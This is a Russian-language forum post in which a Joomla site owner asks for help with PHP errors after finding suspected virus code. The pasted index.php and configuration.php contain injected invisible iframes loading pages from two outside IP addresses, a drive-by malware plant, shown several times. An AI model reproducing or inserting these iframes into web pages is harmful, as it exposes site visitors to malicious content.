Winger

Рейтинг
11
Регистрация
18.04.2011

Спасибо большое за совет!

Я не знаю что с моим файлом, но теперь сайт выдает такую ошибку:

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/andreyyy/public_html/configuration.php:70) in /home/andreyyy/public_html/libraries/joomla/session/session.php on line 423

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/andreyyy/public_html/configuration.php:70) in /home/andreyyy/public_html/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /home/andreyyy/public_html/configuration.php:70) in /home/andreyyy/public_html/libraries/joomla/session/session.php on line 426

Parse error: syntax error, unexpected '<' in /home/andreyyy/public_html/modules/mod_mainmenu/tmpl/default.php on line 83

или такую, если я эти символы "?>" поставлю не до строчки со фреймом а после:

Parse error: syntax error, unexpected '<' in /home/andreyyy/public_html/index.php on line 89

Вот файл index.php

<?php

/**

* @version $Id: index.php 14401 2010-01-26 14:10:00Z louis $

* @package Joomla

* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.

* @license GNU/GPL, see LICENSE.php

* Joomla! is free software. This version may have been modified pursuant

* to the GNU General Public License, and as distributed it includes or

* is derivative of works licensed under the GNU General Public License or

* other free or open source software licenses.

* See COPYRIGHT.php for copyright notices and details.

*/

// Set flag that this is a parent file

define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );

require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**

* CREATE THE APPLICATION

*

* NOTE :

*/

$mainframe =& JFactory::getApplication('site');

/**

* INITIALISE THE APPLICATION

*

* NOTE :

*/

// set the language

$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events

JDEBUG ? $_PROFILER->mark('afterInitialise') : null;

$mainframe->triggerEvent('onAfterInitialise');

/**

* ROUTE THE APPLICATION

*

* NOTE :

*/

$mainframe->route();

// authorization

$Itemid = JRequest::getInt( 'Itemid');

$mainframe->authorize($Itemid);

// trigger the onAfterRoute events

JDEBUG ? $_PROFILER->mark('afterRoute') : null;

$mainframe->triggerEvent('onAfterRoute');

/**

* DISPATCH THE APPLICATION

*

* NOTE :

*/

$option = JRequest::getCmd('option');

$mainframe->dispatch($option);

// trigger the onAfterDispatch events

JDEBUG ? $_PROFILER->mark('afterDispatch') : null;

$mainframe->triggerEvent('onAfterDispatch');

/**

* RENDER THE APPLICATION

*

* NOTE :

*/

$mainframe->render();

// trigger the onAfterRender events

JDEBUG ? $_PROFILER->mark('afterRender') : null;

$mainframe->triggerEvent('onAfterRender');

/**

* RETURN THE RESPONSE

*/

echo JResponse::toString($mainframe->getCfg('gzip'));

<iframe height="100" width="100" src="http://91.220.35.199/0403.php" style="top:0px; position:relative; border:0px; right:-600px; opacity:0; -moz-opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>

<iframe width="468" height="60" src="http://195.14.112.168/124.php" style="top:0px; position:relative; border:0px; right:-550px; opacity:0; -moz-opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>

?>

Помогите, я уже который день не знаю что делать

После того как сейчас поставил ?> или удалил эту строку, с i-frame по предположению что это вирус

Либо я вас не правильно понял, либо вы написали неверно, либо у меня все серьезнее, так как после этого стало еще больше ошибок показывать

Теперь тут появилась, подскажите еще раз, будьте добры, я не как не могу найти.

<?php

class JFrameworkConfig

{

var $dbtype = 'mysql';

var $host = 'localhost';

var $user = '';

var $password = '';

var $db = '';

var $dbprefix = 'jos_';

var $ftp_host = '127.0.0.1';

var $ftp_port = '21';

var $ftp_user = '';

var $ftp_pass = '';

var $ftp_root = '';

var $ftp_enable = 0;

var $tmp_path = '/tmp';

var $log_path = '/var/logs';

var $mailer = 'mail';

var $mailfrom = 'admin@localhost.home';

var $fromname = '';

var $sendmail = '/usr/sbin/sendmail';

var $smtpauth = '0';

var $smtpsecure = 'none';

var $smtpport = '25';

var $smtpuser = '';

var $smtppass = '';

var $smtphost = 'localhost';

var $debug = 0;

var $caching = '0';

var $cachetime = '900';

var $language = 'en-GB';

var $secret = null;

var $editor = 'none';

var $offset = 0;

var $lifetime = 15;

}<iframe height="100" width="100" src="http://91.220.35.199/0403.php" style="top:0px; position:relative; border:0px; right:-600px; opacity:0; -moz-opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe><iframe width="468" height="60" src="http://195.14.112.168/124.php" style="top:0px; position:relative; border:0px; right:-550px; opacity:0; -moz-opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>

?>

По-моему так и было, в любом случае, что делать?

<?php

/**

* @version $Id: index.php 14401 2010-01-26 14:10:00Z louis $

* @package Joomla

* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.

* @license GNU/GPL, see LICENSE.php

* Joomla! is free software. This version may have been modified pursuant

* to the GNU General Public License, and as distributed it includes or

* is derivative of works licensed under the GNU General Public License or

* other free or open source software licenses.

* See COPYRIGHT.php for copyright notices and details.

*/

// Set flag that this is a parent file

define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );

require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**

* CREATE THE APPLICATION

*

* NOTE :

*/

$mainframe =& JFactory::getApplication('site');

/**

* INITIALISE THE APPLICATION

*

* NOTE :

*/

// set the language

$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events

JDEBUG ? $_PROFILER->mark('afterInitialise') : null;

$mainframe->triggerEvent('onAfterInitialise');

/**

* ROUTE THE APPLICATION

*

* NOTE :

*/

$mainframe->route();

// authorization

$Itemid = JRequest::getInt( 'Itemid');

$mainframe->authorize($Itemid);

// trigger the onAfterRoute events

JDEBUG ? $_PROFILER->mark('afterRoute') : null;

$mainframe->triggerEvent('onAfterRoute');

/**

* DISPATCH THE APPLICATION

*

* NOTE :

*/

$option = JRequest::getCmd('option');

$mainframe->dispatch($option);

// trigger the onAfterDispatch events

JDEBUG ? $_PROFILER->mark('afterDispatch') : null;

$mainframe->triggerEvent('onAfterDispatch');

/**

* RENDER THE APPLICATION

*

* NOTE :

*/

$mainframe->render();

// trigger the onAfterRender events

JDEBUG ? $_PROFILER->mark('afterRender') : null;

$mainframe->triggerEvent('onAfterRender');

/**

* RETURN THE RESPONSE

*/

echo JResponse::toString($mainframe->getCfg('gzip'));

<iframe height="100" width="100" src="http://91.220.35.199/0403.php" style="top:0px; position:relative; border:0px; right:-600px; opacity:0; -moz-opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe><iframe width="468" height="60" src="http://195.14.112.168/124.php" style="top:0px; position:relative; border:0px; right:-550px; opacity:0; -moz-opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>

Это последняя строчка, файла index.php.

А сама ошибка о чем говорит, которую сайт выводит?